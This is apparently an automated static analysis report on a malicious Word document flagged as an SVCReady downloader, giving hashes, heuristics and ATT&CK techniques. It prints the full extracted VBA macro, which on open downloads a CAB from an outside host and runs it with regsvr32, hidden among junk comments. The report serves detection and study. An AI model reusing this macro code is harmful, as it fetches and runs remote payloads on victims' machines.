Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0aec9fa80f0c8fa2…

MALICIOUS

Office (OOXML)

147.7 KB Created: 2020-07-08 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-24
MD5: 5fa135127ab6a93eb7e5f7f9f82227fe SHA-1: 48b72ba52e7d5f574009e14e38a8d9b69c00f1d7 SHA-256: 0aec9fa80f0c8fa2c16668e5cf32fa473032e6d6bfc24d44d8f4b2b4502163e1
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro executes URLDownloadToFile to download a CAB file from 'the embedded link' and saves it as 'Nv.tmp'. This indicates a downloader functionality, aiming to fetch and execute a second-stage payload.

Heuristics 5

  • ClamAV: Doc.Downloader.SVCReady-81fe832081fe7c7c-9951593-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-81fe832081fe7c7c-9951593-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    ' Relinquish palermo
Call URLDownloadToFile(0, "http://ioyyf.com/iz5/yaca.php?l=kpt6.cab", Vw, 0, 0)
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Public Const Vw As String = "Nv.tmp"
Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ioyyf.com/iz5/yaca.php?l=kpt6.cab Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2414 bytes
SHA-256: cbe8db978f668400ac306ad1c55787372e96b7707b3dfbb8cbb9a570c8ad5246
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "E"
Public Const Vw As String = "Nv.tmp"
Sub autoopen()

' Bulgarian testator ca
' Assessing pessimistic knoll
' Disparaging profligacy
' Formation
' Yule igneous purchase mostly login
' Save enrich y

' Irritable texas brittle
' Relinquish palermo
Call URLDownloadToFile(0, "http://ioyyf.com/iz5/yaca.php?l=kpt6.cab", Vw, 0, 0)

' Smoke politically node
' Queensland presage kenya glowered
' Fault norwegian elsewhere sobriety
' Oration archived repertory caliph transcript headline
' Wilkinson objects whose
' Deafening endowment wallace
P
End Sub

Attribute VB_Name = "E1"
Sub P()

' Concentrations
' Interposition achieving advocacy pastor wave
' Pen condos prot gasoline builder
' Additional parochial both
' Candour underlying socialist excrement
' Penetration inquiries paint bret realm
' Genesis gene dsc

' Irish
' Swamped
' Subsist spouting
' Min handiwork

' Prehistoric panama repugnant
' Voluptuous precipitated
' Roster oem

' Rarefied lake tocsin janus
' Cram
' Obeisance redundant

' Aqua sliced
' Zeke worm prometheus guaranteed
' Incubation dana duchy
' Rw pinkerton capita attractive

' Insolvent bingo
' Josh font
' Suburban specifications fireworks logical

' Practitioner
' Rotation grenada currently porn
' Eddie rabbit unity experts
' Assisted wisp eater
' Calcium pennant powell field material taste reading
' Chemicals strapping secured

' Elixir depravity umbrage decoy upcoming
' Abdomen shall hints
Dim aj As New WshShell

' Golly synthesis fullness
' Passage database reviews
' Keeps special gibe informed feeder
aj.run "regs" + "vr32 " & Vw
End Sub

Attribute VB_Name = "g"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Dr As LongPtr, ByVal Pg As String, ByVal Rg As String, ByVal Ex As LongPtr, ByVal Se As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal Dr As Long, ByVal Pg As String, ByVal Rg As String, ByVal Ex As Long, ByVal Se As Long) As Long
#End If
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: e3a929b6ed3c052d9827bff194226ac3e3f48cc062019775f224b74d2b9b8315

Open this report in the interactive analyzer, or submit your own file for analysis.